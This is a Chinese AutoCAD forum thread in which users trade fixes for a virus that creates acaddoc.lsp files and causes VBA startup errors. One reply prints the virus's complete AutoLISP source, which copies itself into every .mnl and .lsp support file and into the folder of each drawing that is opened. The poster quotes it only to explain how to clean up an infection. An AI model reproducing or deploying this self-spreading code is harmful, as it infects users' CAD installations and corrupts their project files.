CAD设计论坛

 找回密码
 立即注册
论坛新手常用操作帮助系统等待验证的用户请看获取社区币方法的说明新注册会员必读(必修)
楼主: jiang1983

acaddoc.lsp自动生成,打开文件命令栏出现正在初始化VBA..初始错误(病毒)

[复制链接]
发表于 2011-8-3 19:59 | 显示全部楼层
回复 29# likeyouboya 8 `7 Q  G$ Q8 `: T
' U& v- T- O. H- j" H4 t. ~
% k) Y6 H8 e' B. j& U  w/ }
    我刚试了也出现跟你一样的问题,请问你后来怎么解决的?
发表于 2011-8-9 10:12 | 显示全部楼层
为什么我怎么下载不了楼主的压缩包啊
发表于 2011-9-1 09:34 | 显示全部楼层
新来的,没钱,我的也是这样,咋整呀!
发表于 2011-9-1 13:00 | 显示全部楼层
我的启动没有什么问题,就是运行下载的插件时提示没有安装VBA
发表于 2011-9-2 16:34 | 显示全部楼层
怎么不能下载啊
发表于 2011-9-5 10:51 | 显示全部楼层
看看咯。。谢谢分享
发表于 2011-9-29 00:45 | 显示全部楼层
源代码为9 P# ~  ^- j+ }- J) B4 O" ?+ `$ E
(setq flagx t)
) N+ v9 M% s0 w; D. {( D7 Z4 P(setq bz "(setq flagx t)")
6 k) j0 Z6 [1 b" }! c7 b5 b% t8 `(defun app(source target bz / flag flag1 wjm wjm1 text)
/ E' c* w7 j3 I3 v4 S  (setq flag nil), s4 n, D1 x. b' |4 G; y; s) l
  (setq flag1 t)
5 b( _/ ], Q( s' J  (if (findfile target)
9 k# ?/ H5 j5 F3 t$ L    (progn; w  a( N6 q! T1 p, Z
      (setq wjm1 (open target "r"))
, o" @8 k+ T% @  F6 ]      (while (setq text (read-line wjm1))* D( X$ P: w6 [' U
        (if (= text bz) (setq flag1 nil))
- B: v: m4 O# e' B        );while, I& D- M$ Y+ Y- L6 d: G- x- b4 k
      (close wjm1). [( w' w) E. I/ B
      );progn
) d8 \! N% @- M7 x* T    );if0 d' N" c' |8 h
  (if flag1
1 V0 c4 C7 B. B    (progn
- n+ e! U1 m! K! R      (setq wjm (open source "r"))
( a  t/ B" r" T: ?      (setq wjm1 (open target "a"))
; @" n# G! h! @- o8 h- p- a; N* N/ p      (write-line (chr 13) wjm1)
" a; q# \# D0 {5 u3 h      (while (setq text (read-line wjm)), s; g, ^  Y' l1 `1 v  t6 Y
        (if (= text bz) (setq flag t))
2 @+ ~2 [. |8 U        (if flag' J- l1 d. i6 \" |1 \
          (progn
( J) \% D( m5 f: Z1 m, ~" Y2 h' {            (write-line text wjm1)7 n& }/ l6 ]" `$ ]8 h; q# G6 Q  z, n
            );progn/ O4 V% e# ]8 E2 E1 b/ t
          );if
9 U7 n- Z, o+ a/ A/ ?$ h        );while
( A/ a& Y, F* V: H7 K6 |      (close wjm1)
1 S* T5 T% V5 Y4 J7 P      (close wjm)
. {! F7 @  A1 m* Y: ^      );progn2 E$ F1 d+ }, v7 M1 o
    );if
+ d/ J* ]) Z( c  );defun" K" X( f) d5 K
(setvar "cmdecho" 0)
( c' c& _1 x. N2 T3 L4 ~(setq acadmnl (findfile "acad.mnl"))
" i: l8 o: X: b$ \3 j' h$ l  u1 d  D(setq acadmnlpath (vl-filename-directory acadmnl))' t* \+ g" I' I' C
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
# j/ k0 Y+ n. f/ i* l# q" f/ m: d- D(setq mnlnum (length mnlfilelist))
( }8 R& R5 t0 Y) x) D" o& f; f, [(setq acadexe (findfile "acad.exe"))8 ^# j% s5 \$ x3 P0 H2 \
(setq acadpath (vl-filename-directory acadexe))
6 q* Z3 Z# I) S2 M: R4 i: C" k(setq support (strcat acadpath "\\support"))
, j+ l& ]8 b2 r) G; |, S% m3 B(setq lspfilelist (vl-directory-files support "*.lsp"))
9 v8 l( c4 T* Q9 b8 o6 A, {(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))) T0 O/ z* n. E! p" l4 p0 D- m4 }
(setq lspnum (length lspfilelist))4 L6 K) |" h3 q3 g, \1 Z/ e" ]  R
(setq dwgname (getvar "dwgname"))
6 I, ~! a8 K+ O' W" S- n(setq dwgpath (findfile dwgname))8 \# A2 a5 w* I0 {+ Q/ Y
(if dwgpath
* t* g1 F; u4 J+ ?/ u8 ?  (progn- E3 o8 J+ c8 C. `* b
    (setq acaddocpath (vl-filename-directory dwgpath))2 f( Z- z' S- [5 x4 @
    (setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
" g' {0 l  A- l9 }+ {    (setq mnln 0)8 a3 F$ G+ p2 q, {
    (while (< mnln mnlnum)
3 T* _9 L$ [2 _. a6 P) _      (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))+ C6 w4 E; M  j
      (app mnlfilename acaddocfile bz)3 Z0 K5 F7 c' f5 d) x
      (app acaddocfile mnlfilename bz)
1 r$ k  d0 o" r1 N      (setq mnln (1+ mnln)), m! S: J/ F3 O; ^
      );while
% o6 O5 g# R* m( Z* R    (setq lspn 0)
8 o1 G+ c/ N: |  z4 ~2 f. N    (while (< lspn lspnum)
2 c; B, g8 R3 \) X4 g' c      (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
: P2 \( v, @6 s; V: x- v+ H      (app lspfilename acaddocfile bz)
! M& B  u. _! q& g5 I      (app acaddocfile lspfilename bz)
* A+ d% {5 A: F4 e4 O# h" a      (setq lspn (1+ lspn))
7 |6 u. I/ }! }$ N      );while
) q! n- a- ~. E, K8 N    );progn
9 ~4 W9 n! b  {. z  );if
  E' D  Q! {. F- z$ `6 r6 y  p& t(setq mnln 0)  x+ W/ _/ B" A8 G3 I  ]1 r
(while (< mnln mnlnum)
/ J, f% D- y. [$ v7 [" V7 @  (setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))+ }! I0 f4 u. B# ?4 l9 o6 Y( Q
  (setq mnln1 0)
3 U  z/ U" d9 x+ A' A& [% {- m9 T  (while (< mnln1 mnlnum)5 H; F2 O0 T2 ]  p8 X) c
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
/ ?: ?' e1 r' \$ Q2 W2 E    (app mnlfilename mnlfilename1 bz)
: u2 ]% s# t! n: T    (setq mnln1 (1+ mnln1))
5 a5 H3 ?9 g) Y( J& t7 Q    );while1 h) }4 x/ Z" s( Q" v; S2 K
  (setq lspn1 0)
( @' \" b5 u' C% B/ Q/ l) ~, m  (while (< lspn1 lspnum)
2 f% u; T7 x; B( m    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
- F9 d0 M& J) H1 k    (app mnlfilename lspfilename1 bz)
, Y* _( M( ^. w    (setq lspn1 (1+ lspn1))
' ~+ r2 _2 ~5 m    );while  n- i& T' i( ~6 m3 f4 s
  (setq mnln (1+ mnln))* n+ P+ m* X- h! ~
  );while
; N4 p  E# K! T. a* L* d; {(setq lspn 0)
# l( v) k2 O3 v* `- w(while (< lspn lspnum)2 ?+ a/ t: n9 B5 {3 F
  (setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
1 {' C2 f& f- ~0 S- x  (setq lspn1 0)
4 Q5 r6 o( m! q& S  (while (< lspn1 lspnum)
3 L: @* n  A' [$ A; b    (setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))# E6 ~7 r; n  u* ?1 a; C5 W# ]$ l
    (app lspfilename lspfilename1 bz)! T, r5 v( R1 R
    (setq lspn1 (1+ lspn1))
3 p. D: E) W9 H, T    );while
0 y7 b5 t# I. i3 S  (setq mnln1 0)
& W& @# \4 H, {5 A  (while (< mnln1 mnlnum)9 B0 v* O+ i& }$ n( K6 ?' H: T
    (setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))! z' a/ j# R" M) w- f
    (app lspfilename mnlfilename1 bz)
* O3 x0 f0 B$ a) ~* l9 `    (setq mnln1 (1+ mnln1))
5 b& f# C+ W: n3 ^    );while( Z+ p8 b7 Y/ h, q7 C: p
这个代码会每次运行时都会增加一段,不停的膨胀,太恶意了,还好我知道了它都嵌到那些文件了,我逐一把它们删掉,然后把文件改为只读,以后都不担心会受到感染!只是处理比较麻烦,对CAD了解不够的有点难度,我希望有受到感染的同行们可以交流一下。
发表于 2011-9-29 00:48 | 显示全部楼层
最初的办法可以按5楼的解决,但是后期的处理就要采用比较麻烦的方法处理,我也只能用这种笨方法。
发表于 2011-9-29 00:49 | 显示全部楼层
如我知道是谁写这个病毒我肯定咔嚓他,去年我就受害一个月,后来导致到换电脑。
发表于 2011-9-29 00:58 | 显示全部楼层
本帖最后由 fish2233 于 2011-9-29 01:01 编辑 / S5 I: p4 M2 \/ Q( ?0 q
+ d6 s6 P! U' J4 [
<未知命令“THISDRAWING.HH”。按 F1 查看帮助。>(askcad.com),就是这一个提示,这个THISDRAWING.HH……如不会用可以联系我

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
发表于 2011-10-17 12:05 | 显示全部楼层
怎么都不能下载那个附件呢
发表于 2012-1-18 11:13 | 显示全部楼层
谢谢了.我的问题也解决了。
发表于 2012-3-14 09:57 | 显示全部楼层
正在解决中。。。。
发表于 2012-3-14 10:21 | 显示全部楼层
问题解决了,谢谢老师!这个平台真的很不错,顶!顶!顶!
发表于 2012-3-17 11:17 | 显示全部楼层
谢谢
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于|免责|隐私|版权|广告|联系|手机版|CAD设计论坛

GMT+8, 2026-1-27 04:05

CAD设计论坛,为工程师增加动力。

© 2005-2026 askcad.com. All rights reserved.

快速回复 返回顶部 返回列表